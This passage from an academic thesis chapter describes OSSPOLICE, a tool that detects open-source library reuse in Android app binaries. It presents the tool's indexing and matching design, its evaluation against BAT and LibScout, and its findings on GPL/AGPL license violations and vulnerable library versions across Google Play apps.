(acknowledgements), and CHANGELOG (software change history). These files are typically

placed in the top-level source dir of OSS project repos. C/C++ OSS sources also typically

host build automation scripts (e.g., configure and autogen in top-level source dirs. As

such, cloned third-party OSS sources are likely to retain these files, which can be used to

identify internal OSS clones. However, since some OSS sources may not be well organized,

we further leverage the large code duplication across OSS sources resulting from OSS reuse

to identify such internal clones. The observation we make is that due to OSS reuse, dir

nodes (n) of commonly reused OSS sources will have multiple parents p in our database in

contrast to unique OSS source dirs (e.g., MuPDF/source/pdf). This helps us identify all

popular OSS clones in our database. All identified clones are further annotated so that they

can be filtered out during matching phase in order to minimize false positives (see matching

rules in §2.3.4.4).
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2.3.4.3 Hierarchical Indexing

We devise a novel hierarchical indexing scheme that retains the structured hierarchical

layout of OSS sources (depicted in Algorithm 1). Specifically, instead of creating a direct

mapping of features to the target OSS (i.e. the top-level dir in the OSS source tree), we

map features to their immediate parent nodes (i.e., files and middle-level dirs). Figure 2.2

shows the layout of our indexing database constructed from OSS sources in Figure 2.1.

We use this figure to walk through the steps to index an OSS. We populate an OSS in our

indexing database, by separately processing each node (feature, file, or dir) in its source

tree in a bottom-up fashion, starting from the leaf nodes that represent features (e.g., strings,

functions, etc.). In order to retain the structured layout of OSS sources, we treat identifiers

of parent nodes (i.e., files and dirs) as features, which are further indexed for efficient lookup.

We refer to them as hierarchical features. At each level l of OSS source hierarchy, for a

given node n, we create two types of mappings for each feature f under it: inverted mapping

of f to n (immediate parent at level l) and straight mapping of n to f . Given a feature,

the first mapping allows us to quickly find its matching parents, whereas we use the latter

to perform ratio-based similarity detection. Our hierarchical indexing scheme efficiently

captures uniqueness of features at each level of hierarchy. For example, after indexing

we can know that features in LibPNG are contained in source dir LibPNG, which in turn is

contained in multiple nodes, such as 3rdparty in OpenCV and thirdparty in MuPDF.

We take advantage of internal OSS clones, to perform code deduplication for efficient

use of hardware resources during indexing. To do so, we assign content-based identifiers

to all the nodes in the source tree. We use 128-bit md5 hash to generate such identifiers for

features (leaf) nodes and use Simhash [79] algorithm to assign identifiers of parent (non-leaf)

nodes, derived from the identifiers of all features (leaf nodes) under them. Simhash is a

Locality Sensitive Hashing (LSH) algorithm that takes a high dimensional feature set and

maps them to a fixed size hash. Hamming distance between hash values reveals cosine

similarity between the original feature set. Since the Hamming distance between different
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identifiers reflects their similarity, before inserting a new mapping from feature f to parent n,

we lookup whether f is already mapped to a similar parent node n′ with Hamming distance

less than a particular threshold D (i.e. H(n,n′) < D). If such a parent node n′ already

exists, then we simply skip populating our indexing table with mappings for n′. Note that if

n happens to be a large middle-level dir node, containing several source files and dirs within

it (e.g., thirdparty/LibPNG) and is similar to an existing node (i.e., 3rdparty/LibPNG

in our database, then our content-based deduplication design achieves significant storage

savings. Additionally, some features can be very popular. For instance, commonly occurring

function names, such as main or test. Such features do not contribute to the uniqueness of

an OSS. Worse yet, their long list of parent mappings (f to n) wastes storage space and

increases search time. Therefore, we put a threshold on the maximum number of parent

nodes for each child node (TNp).

Additionally, to enable accurate version pinpointing, we track unique features across

OSS versions for each OSS in the indexing phase. This is separately maintained using two

lists (Listoverall contains all features ever appeared in an OSS and Listunique records unique

features in each version) because with the benefit of deduplication based on similarity in the

indexing phase, we also lose track of the uniqueness among similar nodes.

2.3.4.4 Hierarchical Matching

Our matching algorithm (depicted in Algorithm 2) leverages the OSS layout information

preserved in indexing table for improving the accuracy of ratio-based similarity detection

and filtering out duplicate OSS sources. In order to do so, we use a TF-IDF metric that

assigns a higher score to the unique part of each parent node (files and dirs) and penalizes

the non-unique part.

NormScore(p) =
∑

n
1 fci × log

Np

1+Rci

∑
n
1 Fci × log

Np

1+Rci

(2.1)
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(a) Inverted flat indexing table mapping features to parent OSS.
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(b) Inverted hierarchical indexing table mapping features to files, files to dirs, and dirs to
parent repo. Colored boxes highlight repos and their root dirs.

Figure 2.2: Example illustrating OSS reuse and how hierarchical indexing take its advantage
to reduce storage consumption.

TF-IDF based metric. Let c denote child nodes, p denote parent nodes in the hierarchical

indexing structure and Np denote the total number of parent type nodes in the database. Let

fci , Fci and Rci denote number of matching features, number of total features and number

of matching parent nodes (references) of the i-th child node, respectively. We then define

log
Np

1+Rci
as IDF of the i-th child, measuring its importance to the parent node. Finally, we

weigh each child using their IDF and define the weighted matching ratio as NormScore in

Equation 2.1.

When matching against the indexing table, we first query features to get files, then query
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files to get dirs, and so on. After every round of query, we use NormScore to assign higher

weights to unique parts of a parent node and filter these parent nodes for next round of query

based on NormScore. With this normalization score, when we search binary of LibPNG,

we can achieve a close to 1.0 score, but when we move up from LibPNG to 3rdparty

in OpenCV, the score significantly drops, and we can conclude a matching of LibPNG.

Additionally, we also track total number of matched features, denoted as CumScore, to

complement NormScore, since the latter only tracks matched ratio, whereas the former

shows matched count. With the rich information extracted in indexing phase and the defined

metrics, we apply the following matching rules to filter out false positives:

• Skip dirs that have license, since they are likely to be third-party OSS Clones.

• Skip source files that matches low ratio of functions or header files that matches low

ratio of features, since they are likely to be tests, examples or unused code (e.g. partial

builds).

• Skip popular files/dirs by checking whether they are much more popular than the

siblings, where popularity refers to number of matching parent nodes for each node

(Rci).

Based on the detected OSS, we then compare the features from the app binary with the

unique features across OSS versions to identify the matched OSS version. However, in

practice, we find that unique features may cross match. For example, version string “2.0.0”

from OkHTTP may match the version “2.0.0” of MoPub, while the actual matched version

of MoPub is “3.0.0”. To address this issue, we leverage co-location information preserved

in the binary and indexing table (bi-directional mapping between n and f ), and considers a

unique feature as valid if all the other features in the same file/class also matches.

2.4 Architecture

OSSPOLICE is written mostly in Python. This allows us to reuse existing production-quality

tools within the language ecosystem. In particular, we use Celery [80] job scheduler for
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Figure 2.3: OSSPOLICE architecture and workflow

distributing work to multiple servers, Scrapy [81] for efficient crawling of OSS repos, and

Redis distributed key-value cluster [82] for storing and querying indexing result.

Figure 3.1 depicts OSSPOLICE workflow. It consists of four modules, namely OSSCol-

lector, Indexer, Detector, and Validator. Each module has an extensible plugin-based design

to incorporate additional functionality as need. Here we briefly describe the function of each

module.

OSSCollector. Our OSSCollector module is responsible for crawling multiple OSS hosting

web services and downloading source repos or Java artifacts. We use Scrapy [81] web

crawling framework. OSSCollector currently can only collect OSS from popular C/C++

source code hosting webservices, such as GitHub [5] and commonly used centralized

webservices for distributing Java bytecode (artifacts), such as Maven [83] and JCenter [84].

However, due to an extensible design of OSSCollector, support for other hosting services,

such as Bitbucket [6], SourceForge [85], and Sonatype [86] can be easily added.

When a new repo is discovered, OSSCollector first collects its metadata, such as software

name, unique repo identifier, repo size, its popularity, programming languages used, number

of lines of code, and details of available release versions (e.g., version identifier, software

license, date created, etc.). Collected metadata is passed through additional filters to

evaluate if an OSS repo should be downloaded for indexing. Based on the metadata filters,

OSSCollector either skips the repo or downloads it and notifies Indexer to start processing it.

Our current prototype deploys filters based on three constraints: OSS popularity, license

type, and vulnerability score.
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We use Fossology[87], an open-source tool from HP, to extract and identify software

licenses of OSS repos by examining license-like files in root directory of GitHub repos and

project description file, namely pom.xml for Java artifacts. OSSCollector currently works

only with GPL/AGPL OSS sources.

OSSCollector also collects vulnerability information for each OSS by transforming

the software names into Common Platform Enumeration (CPE) format [88] and querying

cve-search [89] to get a detailed list of all related Common Vulnerabilities and Exposures

(CVE) vulnerabilities, including CVE id, its description, Common Vulnerability Scoring

System (CVSS) score, affected versions, etc. OSSCollector further filters out CVEs based

on their CVSS score and only retains CVEs with CVSS score higher than 4.0, which we

refer to as Severe CVEs. This is done to limit the focus of this study to only detecting the

use of OSS versions that are affected with critical vulnerabilities.

OSSCollector only downloads software that is either popular or is being used by at least

one FDroid [35] app, which makes our evaluation dataset (described in §3.5). Each GitHub

repo is attributed with stargazers count and fork count, indicating approximated number

of users interested in it and number of times its copy has been created, respectively. We

use these attributes to determine popularity of a GitHub repo. In particular, we downloaded

Github repos with more than 100 stargazers to form our C/C++ OSS Collection (OSSC/C++),

which consisted of 3,119 repos and 60,450 OSS versions. Popularity information, however,

is not available from Maven and is available only for a few Java artifacts from JCenter in the

form of total number of downloads. This is because JCenter OSS developers may optionally

choose to hide the download statistics1. Therefore, while compiling a list of popular Java

software, we included additional sources, such as MvnRepository [90] AppBrain [91], and

Android Studio [74]. We narrowed down to Java software artifacts that received more than

5K downloads, resulting in our Java OSS Collection (OSSJava) with 4,777 artifacts and

1Developers may distribute multiple Java software and expose their download statistics selectively on
JCenter. For example, apache owns both commons-vfs2 and commons-compress, but only chooses to disclose
the download count for the former (13,478) and hides it for the latter although both of them are popular.
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77,308 artifact versions.

Of OSSC/C++, 896 repos were GPL/AGPL-licensed and 347 were vulnerable with

5,611 severe CVEs, whereas of OSSJava, 110 repos were GPL/AGPL-licensed and 83

were vulnerable with 452 severe CVE ids. The two datasets were used for evaluating the

OSSPOLICE as well as reporting findings on Google Play Store apps.

AppCollector. It is responsible for crawling appstores and downloading app packages

(apks) and their metadata, such as developer information, download count, and app descrip-

tion. Our current prototype only supports Google Play Store and borrows techniques from

PlayDrone [92]. We used AppCollector to download 1.6M free Android mobile apps from

Google Play Store in Dec, 2016.

Indexer. It extracts birthmark features from C/C++ source and Java jar/aar files in OSS

repos to create an indexing database for efficient lookup. For feature extraction from C/C++

OSS, we use a Clang-based fuzzy parser to parses all source files (including headers). At

first, we used a regular expression-based feature extractor. However, it failed to correctly

report features in many cases. For instance, it failed to correctly extract strings or functions

wrapped in a preprocessing macro.

Our parser retrieves string literals and function names from C/C++ source files. Addi-

tionally, it also extracts parameter types, class names, and namespaces for functions while

parsing C++ source files since they are preserved in native libraries. Since parsing OSS files

may fail due to missing configuration files and external dependencies, we designed the parser

to infer the semantic context and insert dummy identifiers for missing data types. Further,

we skip function bodies to speed up the parsing process as we use only function names and

their arguments. To preserve the hierarchical layout of repos for content deduplication, we

separately index source and header files. As a result, we are also able to easily skip common

strings and functions defined in standard framework and system include files that tend to

dilute matching results because of their popularity across several source repos. However, we

do enable all #include directives, to resolve data types defined in header files and correctly
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identify function names and string literals that are wrapped in preprocessing macros, but

are referenced in source files. Conditional preprocessing directives, such as #if and #else

branch directives could also be skipped because of default config options. We, therefore,

process the code within such directives separately, each forming a conditional group of

extracted features Sometimes developers may comment out a certain piece of code within

#if 0 or #elif 0, which may be erroneous; we detect and skip such cases. We also skip

non-Android and non-arm OS- and arch-specific macros.

For feature extraction from Java OSS, Indexer uses a Soot-based parser[93] for both

source code and bytecode, which gives us the flexibility to support various kinds of inputs:

jar, dex, apk, and source code. Indexer extracts features described in §2.3.3, including string

constants, normalized classes, and centroids.

Detector. It first extracts the same types of features (§2.3.3) as the Indexer from mobile

app binaries. We write a custom Python module around pyelftools [94], to extract strings

and exported function names from native libraries, and use the same Soot-based parser to

extract string constants, normalized classes and centroids. Detector then queries extracted

features against the indexing table built by Indexer to find out a list of matched OSS versions.

Detector selectively report these OSS version usage to Validator based on their license and

vulnerability annotations. In particular, Detector reports usage of GPL/AGPL-licensed OSS

as potential license violations, and usage of OSS version annotated with at least one Severe

CVE as vulnerable usage.

Validator. It performs different checks based on the detected OSS versions. In the

GPL/AGPL-violation scenario, it uses developer’s information from Google Play Store,

searches through app description and the developer’s website for source code hosting links

(e.g. GitHub). If found, it compares the similarity of app binary with the hosted source

code to determine if the hosted code matches indeed is a match. If the Validator fails to

find hosting links or if the similarity match fails, it reports the app as a potential violator of

GPL/AGPL licensing terms. In case of vulnerable OSS detection, Validator simply retains
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the OSS versions that matched with unique features, and presents vulnerability details, such

as OSS version and CVE ids to the user. If no unique features matched, it simply ranks the

detected OSS versions based on their TF-IDF score. However, fine-grained function-level

features (e.g., intra-procedural graph) can be extracted from both OSS sources and app

binaries to increase the accuracy of version pinpointing at the cost of higher consumption of

system resources (CPU, memory, etc.) and increased search time. We leave this for future

work.

2.5 Evaluation

In this section, we first present the performance and scalability evaluation results of

OSSPOLICE to show that it can efficiently match millions of app binaries against hun-

dreds of thousands of OSS source repos. We then follow up with the accuracy analysis of

OSSPOLICE using FDroid [35] open-sourced apps (for ground truth) to demonstrate that it

can accurately detect OSS versions being used even in the presence of internal code clones,

partially built binaries, and fused binaries (§2.3.4.1). For comparative analysis, we also

report accuracy of BAT [18] and LibScout [21] since they are the state-of-the-art tools for

OSS reuse detection, closest to ours.

2.5.1 Performance and Scalability

We deployed OSSPOLICE on ten servers, each with 16-core Intel Xeon CPU E5-2673 v3 @

2.40GHz, 56GB memory, and 4TB drives.

Indexing. To evaluate the scalability of OSSPOLICE, we indexed a total of 137,758 OSS

repos (60,450 C/C++ and 77,308 Java). We short-listed them because of their high popularity

(§2.4). While indexing, we empirically set Simhash distance threshold (D) to 5 (§2.3.4.3)

and number of maximum parent nodes (TNp) for each child node to 2,000 (§2.3.4). We

present the change in memory consumption with the number of indexed repos in Figure 2.4a.

As the figure demonstrates, the memory consumption grows sub-linearly due to content
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deduplication, suggesting that OSSPOLICE can easily be scaled to index more OSS repos.

At the end of indexing, OSSPOLICE processed 13 million C/C++ source files and 31

million Java classes, which amounts to more than 2 billion lines of C/C++ source code and

500 million lines of Java bytecode instructions, respectively. The total number of entries

(keys) in the Redis database reached around 44 million and 9 million and the database grew

to 30GB and 9GB for C/C++ and Java OSS, respectively. The number of entries created

for C/C++ indexing table was higher than Java because C/C++ repos are generally larger in

size and include auxiliary sources, such as tests, examples, and third party code, whereas

Java bytecode files do not contain such auxiliary sources. On average, extracting all types of

features described in Table 2.1 and indexing a source repo take 1,000 and 40 seconds for

C/C++ and Java OSS, respectively. For C/C++ OSS, the majority of indexing time is spent

in parsing source files for feature extraction. This is because the current implementation of

our Clang parser is single-threaded and not optimized to include precompiled headers. Thus,

it recompiles common headers for every source file. We expect that parallelizing the parser

and adding support for precompiled headers will substantially improve its performance.

However, we leave that for future work. In comparison, indexing time of Java OSS first

increases and then remains stable because the majority of indexing time is spent on content

deduplication, where number of similarity comparisons first grows with number of indexing

nodes, but later reaches the limit of maximum parent nodes TNp . Our Soot-based [93]

feature extractor is fast because it is multi-threaded and works directly on the precompiled

jar packages.

Detection Time. A typical phenomenon in similarity detection schemes is that as the

app grows bigger and more complex, the time taken to detect its similarity can increase

exponentially, making these schemes unsuitable for handling large and complex apps. To test

whether this limitation applies to OSSPOLICE, we randomly sampled 10,000 Android apps

from Google Play Store dataset and queried them against our OSS database. Figure 2.4b

shows the relationship between time taken by OSSPOLICE to analyze them for OSS reuse
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Figure 2.4: OSSPOLICE indexing and detection scalability. (a) shows memory consumption
of indexing database over time and (b) shows how number of features in an app affects the
detection time.

and number of features found in the selected app binaries (representative of app complexity).

As seen from the plot, there is a linear relationship between the number features and the

detection time; 80% of Dalvik binary and native library detection queries finish within

100 and 200 seconds, respectively, thus making OSSPOLICE suitable for analyzing apps at

Google Play Store scale.

2.5.2 Accuracy

In order to evaluate the accuracy of OSSPOLICE in detecting OSS binary clones in Android

apps, one needs a labeled mapping of apps to OSS usage for ground truth. However, no such

dataset is publicly available from previous works. Randomly selecting binaries from actual

dataset and labeling them for ground truth may include obfuscated and stripped binaries,

rendering the labeling process error-prone. We, therefore, decided to use FDroid apps since

their source code and binaries are both publicly available. FDroid hosted a total of 4469 apps

at the time of collection (Feb, 2017). Of those, 579 apps contained at least one native library.
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We labeled C/C++ OSS by manually analyzing the source code and subsequently validating

their presence in app binaries by collecting informative strings and function names. For

instance, LibPNG sources were confirmed by cross-checking whether the function names

in the app binaries began with prefix png_. Java OSS labels were generated by parsing

the app build scripts, such as Maven pom.xml and Gradle gradle.build files that list app

build dependencies. However, the specified build dependencies may further depend on more

libraries, making the labels incomplete. For example, MoPub package is known to contain

string mopub-intent-ad-report. Therefore, we validated the labels by checking package

names and strings in the jars.

We labeled a total of 295 C/C++ OSS uses (56 distinct), denoted as FDroidC/C++ and

7,055 Java OSS uses (279 distinct), denoted as FDroidJava. We then queried FDroid app

binaries against our indexing database from §2.5.1, and adjusted thresholds representing

matched ratio (TNormScore) for NormScore in Equation 2.1 and feature count (TCumScore) for

number of features matched to find a sweet spot between precision and recall. Our results

indicate that OSSPOLICE achieves a precison of 82% and a recall of 87% when TNormScore

= 0.5 and TCumScore = 50 for C/C++ OSS detection. Similarly, OSSPOLICE reported a

precision of 89% and a recall of 92% when TNormScore = 0.7 and TCumScore = 100 for Java

OSS detection. In cases where the target OSS is detected correctly and there were unique

features matched, which amounted to 67 C/C++ and 520 Java OSS usage 2, OSSPOLICE

achieved 82% and 92% version detection accuracy, respectively.

We inspected the results reported by OSSPOLICE and found that the main cause of false

positives is the failure to correctly detect and filter out internal code clones, which may

happen if the target OSS sources are not well organized (i.e., dirs containing code clones

lack license and other common top-level software development files §2.3.4.2) and the cloned

OSS is not popular in our database (i.e., it is cloned by only a few OSS repos, resulting in a

small number of parent nodes). We found that false negatives in OSSPOLICE are reported

2A large portion of labeled Java OSS were android support libraries (e.g. support-v4 and support-v13)
whose versions are not distinguishable using features in OSSPOLICE.
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OSS Labels # Uses OSSPOLICE BAT [18]

P(%) R(%) VM VP’(%) P(%) R(%) VM VP’(%)

FDroidC/C++ 295 82 87 55/67 82 75 61

OSS Labels # Uses OSSPOLICE LibScout[21]

P(%) R(%) VM VP’(%) P(%) R(%) VM VP’(%)

FDroidJava 7,055 89 92 478/520 92 92 71 295/320 92
P, R, VM, VP’ refers to Precision, Recall, Version Match Results and

Version Precision for OSS with unique feature/profile matches.

Table 2.2: Accuracy of OSSPOLICE and comparison with LibScout and BAT.

only if partial functionality from an OSS is reused with too few features intact.

Comparative Analysis. Here we present a comparison of OSS detection accuracy

results with that of BAT [18] and LibScout [21]. To do so, we first used BAT to generate

a database of OSS in FDroidC/C++ and LibScout to build library profiles for OSS in

FDroidJava. We queried FDroid apps binaries against BAT and LibScout databases. The

results are shown in Table 2.2. Compared to BAT, OSSPOLICE reported more C/C++ OSS at

a higher precision. Since BAT does not detect OSS versions, we only report version detection

accuracy of OSSPOLICE in Table 2.2. To understand why OSSPOLICE outperforms BAT,

we conducted further analysis and found that partially built libraries and internal code clones

(§2.3.4.1) were the main causes for false negatives and false positives, respectively. Partially

built libraries contain minimum part of OSS and have few features, making the matching

score in BAT lower than the threshold. For example, all 41 uses of JPEG library were

missed due to low number of features. Internal code clones cause BAT to match complex

repos while only the reused OSS is present. For example, all 13 reported uses of FreeType

also included 5 matches against MuPDF because FreeType is internally cloned by MuPDF,

resulting in false positives.

Similar to LibScout, OSSPOLICE achieves comparable OSS precision (P) and version

precision (VP’), but reports more number of OSS being used (R) and can detect more OSS

versions (VM). We investigated the differences between OSSPOLICE and LibScout results

and found that the main cause for false negatives of both system is unused code removal
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(§2.3.4.1). Nonetheless, OSSPOLICE outperformed LibScout. It is, however, worth noting

that while LibScout uses only normalized classes to identified Java software reuse, we use

two types of features, namely strings and normalized classes. Thus, compared to LibScout,

OSSPOLICE works with a larger set of features, which is more indicative of OSS uses. For

version pinpointing, LibScout reports OSS versions for both complete and incomplete profile

matches. The versions returned in incomplete profile matches were mostly inaccurate and

unfit for comparison. Hence, we only focus on results for complete profile matches (VM)

in Table 2.2. OSSPOLICE pinpoints more OSS versions for two reasons: (1) OSSPOLICE

extracts more features and can track uniqueness of more OSS versions. For example, some

versions of Facebook and OkHttp can only be distinguished using version strings. (2)

Version pinpointing in LibScout cannot handle unused code removal because no unique

profile, which is defined as hash of Java package tree, will match in this case, since the

package tree changes due of code removal. OSSPOLICE reports some false positives in

version pinpointing as a result of cross matching of unique features (i.e. app with PrettyTime

and Joda-time binaries may falsely report PrettyTime version using features from Joda-time).

2.6 Findings

We used OSSPOLICE to conduct a large-scale OSS usage analysis in Google Play Store

apps. This section presents our findings. In particular, we seek answers to the following

questions.

• OSS Usage. What are some commonly used OSS? What are they used for? (§2.6.1)

• OSS Licenses. What are some commonly used software licenses for OSS? (§2.6.2).

• License violations. How many apps potentially violate OSS licensing terms? In

general, what is the attitude of OSS developers towards violators? (§2.6.3).

• Vulnerable OSS. How commonly can one find vulnerable OSS versions in Android

apps? How responsive app developers are to vulnerability disclosures? (§2.6.4).

Our dataset consists of 1.6 million free Android apps collected by crawling Google Play
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Owner Name Type License # Uses
Square OkHttp Network Apache 100,548
Facebook Bolts Framework Utils BSD 97,350
Facebook Facebook SDK Social FB Platform 85,742
Square Picasso Image Apache 71,806
Apache Http Components Network Apache 65,457
Sergey T. Univ. Img Loader Image Apache 60,845
Square Okio Utils Apache 56,997
Twitter4J Twitter4J-Core Social BSD 54,045
Apache Common Codec Codec Apache 46,530
SignPost OAuth Library Utils Apache 43,647

Table 2.3: Top 10 detected Java OSS excluding Android and Google OSS.

Owner Name Type License # Uses
JPEG Group JPEG Codec IJG 86,975
PNG Dev Group LibPNG Codec LibPNG 78,117
Cocos2d Cocos2d-X Game MIT 75,568
FreeType FreeType Font FTL 65,109
OpenSSL OpenSSL Network OpenSSL 50,489
OpenAL OpenAL Audio LGPL 37,581
Libexpat Expat Codec MIT/X 35,175
ArtifexSoftware MuPDF Viewer GPL 34,055
LibTIFF LibTIFF Codec BSD 33,721
Gailly and Adler Zlib Codec Zlib 30,762

Table 2.4: Top 10 detected C/C++ OSS

Store in December 2016. Our OSS database consisted of 3K popular C/C++ and 5K popular

Java OSS.

2.6.1 OSS Use in Mobile Apps

Table 2.3 and Table 2.4 list the top 10 detected usage of Java excluding Android and Google

OSS (group id prefixed with com.android, com.google) and C/C++ OSS in Android apps,

respectively. Our findings show that OSS usage distribution in Android apps is long-tailed;

only a few OSS repos are very commonly used and a large number of OSS repos are used

by only a few apps. Table 2.3 shows that various types of Java OSS are used, ranging from

Utils to Social, while Table 2.4 shows that native OSS are mainly used for Codec and Game.

In addition, we find that some high usage OSS is due to frequent indirect use. This means

that the app developer will be building a library that he is not aware of the full dependency,

and may lead him into legal issues or security harzards. For example, in Table 2.4, LibPNG

is reused internally by Cocos2d.
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Permission License Java Native

Public Public Domain 0.3% 1.9%
WTFPL 0.1% 0.1%

Permissive
MIT 17.9% 28.5%
BSD 5.7% 16.7%
Apache 40.5% 7.0%

Weakly Protective LGPL 4.2% 6.4%

Strong Protective GPL 1.6% 30.8%

Network Protective AGPL 0.1% 0.3%

- Unclassified 27.2% 5.6%

Table 2.5: Software license distribution in Java- and native-based OSS

2.6.2 Software Licenses in OSS

We first analyzed the popularity of different software licenses in Java- and native-based OSS

projects. The license popularity result on 3K C/C++ and 5K Java OSS is shown in Table 2.5.

Consistent with previous research findings [95], the most popular software license for

Java-based OSS is Apache license mostly due to the license choice of the Java programming

platform and Android, which fall under this license. In comparison, most commonly used

software licenses for C/C++ OSS are GPL and MIT. Therefore, Java-based OSS tend to be

more permissive than C/C++ OSS.

2.6.3 License Violations

As discussed in §2.5.2, we believe that a similarity score of 0.5 or higher with more than 50

matching features would generate a very few false positives while detecting the presence of

a C/C++ OSS component in an Android app. Similarly, a score of 0.7 or higher with more

than 100 matching features would generate a very few false positives while detecting the

presence of a Java OSS component. However, given that GPL/AGPL license violation is

a strong claim that could result in severe legal consequences, we chose to be conservative

and adjusted the similarity threshold for NormScore (§2.3.4.4) to 0.7 and CumScore

(§2.3.4.4) to 200 for C/C++ OSS, and to 0.8 and 400 for Java OSS. Under these stricter

conditions, OSSPOLICE detected around 40K apps using at least one GPL/AGPL-licensed
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Owner Name Type # Uses
iText iTextPDF Codec 1,325
MySQL Java Connector Utils 396
greenDAO Generator Compiler 75
Proguard Proguard Compiler 27
Univ. of Waikato Weka-Dev Utils 15

Table 2.6: Top 5 most offended GPL/AGPL-licensed Java-based OSS projects.

Owner Name Type # Uses
ArtifexSoftware MuPDF Codec 34,055
FFmpeg FFmpeg† Codec 4,326†

Teluu PJSIP Communication 2,113
VideoLan VLC and X264 Codec 988
Belledonne Comm. BZRTP Communication 356

Table 2.7: Top 5 most offended GPL/AGPL-licensed native-based OSS projects. † shows
only GPL uses of all FFmpeg, which can be either LGPL or GPL

C/C++-based OSS component while 2K apps using at least one GPL/AGPL-licensed Java-

based OSS component. The Validator filtered out only 55 apps as there are clear indications

that these apps are open-sourced, flagging most apps as potential violators of GPL/AGPL

licensing terms. The most offended Java and C/C++ OSS projects under GPL/AGPL license

are shown in Table 2.6 and Table 2.7, respectively.

Similar to the distribution of OSS usage per app, the distribution of OSS under GPL and

AGPL licenses is long-tailed, with only a few OSS being used in many apps; whereas a large

number of OSS see only one or two violating apps. In terms of GPL/AGPL-licensed OSS

usage in apps, the maximum we saw is 1,325 iTextPDF for Java OSS and 34,055 MuPDF

for C/C++ OSS, both are PDF related libraries. To understand why developers are using

these libraries, we collect popular PDF libraries that support both rendering and editing over

the Internet and found that most of them were either GPL/AGPL licensed or not free. In

particular, the top two PDF libraries listed in [96], RadaeePDF SDK and PDFNet SDK both

paid PDF rendering/editing engines. Therefore, our findings suggest that app developers use

these iTextPDF and MuPDF due to lack of free alternatives.

OSS developer responses. We emailed a few corporate developers of the OSS victims

(MuPDF, PJSIP, FFmpeg, VideoLAN, and iIext), each with a list of apps that potentially

violate their copyrights. The reason behind it is to filter out their legitimate customers
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because many of these companies use dual-license model for their software, under which the

open-sourced variant (e.g., GPL license) requires any derivative work to be open-sourced,

and, therefore, a separate commercial license is needed for commercial use without open-

sourcing. Developers of a derivative work can choose to open source their code under the

same license or pay these companies to avoid source code disclosure. For instance, Dropbox

and HP are licensees of MuPDF.

We received responses from these companies. PJSIP replied that they have Non-

Disclosure Agreement (NDA) with their customers and cannot reveal their information.

VideoLAN and FFmpeg both showed interest in the list, but FFmpeg developers mentioned

that they lack resources to enforce license compliance. MuPDF requested our list and returned

a filtered list of app developers that use their software, but are not their customers. In addition,

MuPDF mentioned that even identifying legitimate customers is not straightforward because

they sub-license MuPDF to Adobe and all Adobe licensees are also legally permitted to use

MuPDF without open-sourcing. iText, however, did not reply to our email.

Awareness of OSS licensing issues. From the results reported by Validator, it is difficult

to draw conclusions whether developers are violating OSS licensing terms, nor can we tell

whether they are infringing intentionally or inadvertently because developers may display

link to source code within their app or on random websites. We notice that GPL/AGPL

requires that if one distributes derivative works of GPL/AGPL-licensed software, then they

must provide the source code upon request. Therefore, for further insights, we randomly

emailed 10 developers of the apps we found to have violated GPL/AGPL licensing terms

and requested access to their source code. Unfortunately, at the time of writing, none of

them provided their code. One of these developer, however, had claimed in the description

on Google Play Store that their app is licensed under GPL: 3

Weird Voice is based on CSipSimple and is licensed under GNU GPL v3. More

3We found that app Voice changer calling (package com.weirdvoice) reuses PJSIP sources, which
are licensed under GPL
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information in the app.

Nonetheless, when we emailed them for access to their code, the response received redirected

us to a GitHub page of another app that they claimed to be “99%” similar and refused to

release the sources of their own app. From these cases, we can see that people are not aware

of the specific requirements of the GPL/AGPL license, and currently there is no appropriate

way to enforce GPL/AGPL compliance.

2.6.4 Vulnerable OSS Versions

In order to report vulnerable OSS version usage results, we retain a subset of the detected

results with at least one unique feature matched, which is shown to have reasonable precision

in version pinpointing in §2.5.2. Since Google has launched an App Security Improvement

program (ASIP) [12] to help developers improve the security of their apps by checking

vulnerable code usage, we classify detected OSS versions as vulnerable based on ASIP

description, if the OSS is also listed by ASIP (e.g., LibPNG). For an OSS not listed by ASIP,

we classify its version as vulnerable if it is tagged with at least one Severe CVE (defined as

CVSS score greater than 4.0 in §2.4). We present six C/C++ OSS and four Java OSS with

most vulnerabilities in Table 2.8. Of those, LibPNG, OpenSSL and MoPub are also tracked

by ASIP. As shown in Table 2.8, the number of apps that use vulnerable versions of LibPNG

and OkHttp amounts to more than 40K and 39K, respectively. To understand their impact

on users, we further break down these apps by the number of downloads. Our findings

indicate that 20% of these apps have received over 10K downloads.

From Language column in Table 2.8, we can see that there are more vulnerable C/C++

OSS uses than Java, despite the fact that Java OSS are popular as in Table 2.3. This is

because most Java OSS are not tagged with Server CVE ids.

Despite their measures towards security of apps, we found more than 40K, 27K, and

2K vulnerable uses of OSS that are tracked by ASIP, namely LibPNG, OpenSSL and MoPub,

respectively.
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# ASIP Misses further shows number of apps that were only detected by OSSPOLICE

as vulnerable, but were not tracked by ASIP. These numbers were obtained based on ASIP

claim that Google Play Store would ban future app updates if the developers do not fix

vulnerable OSS usage in their apps after the deadline, which was set as Sep 17, 2016 for

LibPNG and Jul 11, 2016 for OpenSSL and MoPub. We assume that Google Play Store

enforced the claimed policy and simply report the number of apps (downloaded in Dec,

2016) that were still flagged as vulnerable by OSSPOLICE and were updated after their

respective ASIP deadlines. # ASIP Misses in Table 2.8 shows that ASIP missed at least

1,244 LibPNG and 4,919 OpenSSL cases compared to OSSPOLICE. For MoPub, no flagged

apps were updated after the specified deadline. For further validation, we contacted Google

by sending them a comprehensive list of vulnerable apps, including the ones missed by ASIP.

Unfortunately, by the time of this writing we did not receive a response from them on it.

Awareness of Vulnerable OSS uses. To understand how quickly and how frequently app

developers adopt the patched OSS versions, and what makes them update their apps with

these patched OSS versions, we conduct a longitudinal study of OSS usage by app developers.

We selected top 10K apps from Google Play Store, downloaded their past versions. A total

of 300K app versions were analyzed with OSSPOLICE to report all cases of vulnerable

OSS usage. To get insight into the attitude of app developers towards vulnerable OSS

usage, in particular, whether ASIP policy enforcement can make them update their apps

regularly, we selected two OSS (OpenSSL and MoPub) that were reported by ASIP and two

(FFmpeg and OkHttp) that were only reported by OSSPOLICE as vulnerable and carried

out a comparison. The results are shown in Figure 2.5. For FFmpeg and OkHttp, both

patched and vulnerable usage increased over time. In comparison, usage of vulnerable

versions of OpenSSL and MoPub kept increasing until ASIP notification date (i.e., when the

app developers received emails from ASIP, apprising them of vulnerable OSS usage in their

apps), but quickly drops after that. Such a pattern indicates that app developers slowly adopt

patched OSS versions and even use old and vulnerable OSS in updated app versions or
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newly developed apps. Nevertheless, our findings suggest that ASIP can help developers

identify security issues with their apps and force them to regularly update their apps to use

patched OSS versions.

2.7 Discussion

In this section, we discuss the limitations of OSSPOLICE, potential solutions, and future

research directions.

